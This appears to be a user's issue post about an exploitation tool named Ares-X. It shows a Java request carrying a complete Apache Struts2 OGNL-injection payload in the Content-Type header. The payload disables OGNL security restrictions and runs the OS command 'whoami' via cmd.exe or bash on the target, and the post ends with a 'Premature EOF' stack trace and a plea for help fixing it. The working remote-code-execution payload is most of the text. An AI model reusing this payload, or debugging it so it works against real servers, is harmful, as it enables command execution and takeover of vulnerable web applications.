java.io.IOException: Premature EOF

[Ares-X]

Request

HttpRequest.post("http://127.0.0.1:8080").header("Content-Type","%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}").body();

Response Exception:

Exception in thread "main" com.github.kevinsawicki.http.HttpRequest$HttpRequestException: java.io.IOException: Premature EOF
	at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:717)
	at com.github.kevinsawicki.http.HttpRequest.copy(HttpRequest.java:2626)
	at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1764)
	at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1779)
	at com.aresx.javakiller.core.cmd.PayloadTest.main(PayloadTest.java:29)
Caused by: java.io.IOException: Premature EOF
	at sun.net.www.http.ChunkedInputStream.readAheadBlocking(ChunkedInputStream.java:565)
	at sun.net.www.http.ChunkedInputStream.readAhead(ChunkedInputStream.java:609)
	at sun.net.www.http.ChunkedInputStream.read(ChunkedInputStream.java:696)
	at java.io.FilterInputStream.read(FilterInputStream.java:133)
	at sun.net.www.protocol.http.HttpURLConnection$HttpInputStream.read(HttpURLConnection.java:3444)
	at java.io.BufferedInputStream.read1(BufferedInputStream.java:284)
	at java.io.BufferedInputStream.read(BufferedInputStream.java:345)
	at java.io.FilterInputStream.read(FilterInputStream.java:107)
	at com.github.kevinsawicki.http.HttpRequest$8.run(HttpRequest.java:2619)
	at com.github.kevinsawicki.http.HttpRequest$8.run(HttpRequest.java:2613)
	at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:711)
	... 4 more

how to solve that?